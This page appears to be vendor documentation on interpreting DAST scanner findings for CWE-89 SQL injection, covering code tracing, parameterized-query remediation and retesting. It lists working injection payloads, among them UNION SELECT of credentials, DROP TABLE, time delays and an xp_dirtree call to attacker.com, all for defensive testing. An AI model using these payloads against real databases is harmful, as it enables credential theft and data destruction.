Skip to content

CWE-89: SQL Injection

Overview

This guidance helps interpret DAST findings for CWE-89: SQL Injection. During dynamic scanning, the scanner detected that user-controlled input was incorporated into SQL queries without proper parameterization, allowing manipulation of database logic.

What the DAST scanner detected:

  • Error-based detection: SQL error messages in responses (mysqli_fetch_array() expects parameter 1 to be mysqli_result, You have an error in your SQL syntax, ORA-00933: SQL command not properly ended)
  • Boolean-based blind SQLi: Different responses for 1' AND '1'='1 (true) vs 1' AND '1'='2 (false)
  • Time-based blind SQLi: Response delays from 1' AND SLEEP(5)-- (MySQL), 1'; WAITFOR DELAY '00:00:05'-- (MSSQL), 1'||pg_sleep(5)-- (PostgreSQL)
  • Union-based injection: Successful data exfiltration via UNION SELECT queries returning database contents
  • Out-of-band detection: DNS lookups or HTTP requests triggered by payloads like 1'; EXEC master..xp_dirtree '//attacker.com/a'--

Key DAST evidence:

  • Error response: Warning: mysqli_query(): (HY000/1064): You have an error in your SQL syntax near ''1' OR '1'='1'' at line 1
  • 5-second delay when ?id=1' AND SLEEP(5)-- submitted
  • Different content for ?user=admin' AND '1'='1'-- (200 OK, user data) vs ?user=admin' AND '1'='2'-- (200 OK, no data)
  • Union injection: ?id=1 UNION SELECT username,password FROM users-- returns user credentials in response

Analyzing the Dynamic Scan Result

What the DAST Scanner Found

When reviewing your security scan results, you'll see:

HTTP Request Details

  • URL and endpoint that triggered the finding
  • HTTP method (GET, POST, etc.)
  • Query parameters or form data with test payloads
  • Request headers and body content

HTTP Response Evidence

  • Response showing the vulnerability manifestation
  • Evidence of improper handling or injection
  • Runtime behavior indicators

Attack Vector

  • Which parameter or input is vulnerable
  • Type of exploitation possible
  • Context where the vulnerability appears

Mapping DAST Findings to Source Code

Find the Vulnerable Endpoint

Use the HTTP request URL to locate the code:

# Search for the URL path in your codebase
grep -r "/users" src/
grep -r "route.*users" src/

Locate the Route Handler

Common patterns to search for:

  • Python Flask/Django: @app.route('/users'), path('users/', ...)
  • Node.js Express: app.get('/users', ...), router.get('/users', ...)
  • Java Spring: @GetMapping("/users"), @RequestMapping("/users")
  • ASP.NET: [Route("users")], MapRoute("users", ...)
  • PHP: $_GET['id'], route definitions in routing files

Find the Parameter Handling

Search for the vulnerable parameter name:

# Find where the parameter is accessed
grep -r "request.args.get('id')" src/     # Python Flask
grep -r "req.query.id" src/               # Node.js
grep -r "@RequestParam.*id" src/          # Java Spring
grep -r "Request.QueryString['id']" src/  # ASP.NET
grep -r "$_GET['id']" src/                # PHP

Trace to Vulnerable Operation

Look for where the parameter is used in:

  • Database query construction
  • ORM method calls with user input
  • Raw SQL execution
  • Stored procedure calls

Remediation

Core principle: Never build SQL by concatenating untrusted input; use parameterized queries (prepared statements) so user input is always treated as data, not query structure.

→ For comprehensive remediation guidance, see Static CWE-89 Guidance

Language-Specific Guidance

The static guidance provides detailed remediation steps for many languages. If you need language-specific examples:

Verification and Follow-Up Testing

After applying the fix:

Reproduce the Vulnerability

# Use curl to replay the exact request
curl "http://localhost:3000/users?id=1' OR '1'='1"

# Or use browser DevTools Network tab to copy as cURL

Verify the Fix

  • Confirm queries use parameterized statements
  • Verify no raw SQL concatenation exists at the sink; all dynamic values are bound parameters (validation is only for type/range/business rules).
  • Confirm DB account uses least privilege (no DDL/admin perms for app queries).
  • Test that injection attempts fail safely

Test Edge Cases

# Classic injection tests
/users?id=1' OR '1'='1
/users?id=1; DROP TABLE users--
/users?id=1' UNION SELECT * FROM passwords--

# Advanced techniques
/users?id=1' AND SLEEP(5)--

Re-run DAST Scanner

Run your dynamic scanner again on the fixed endpoint to confirm remediation.

Additional Resources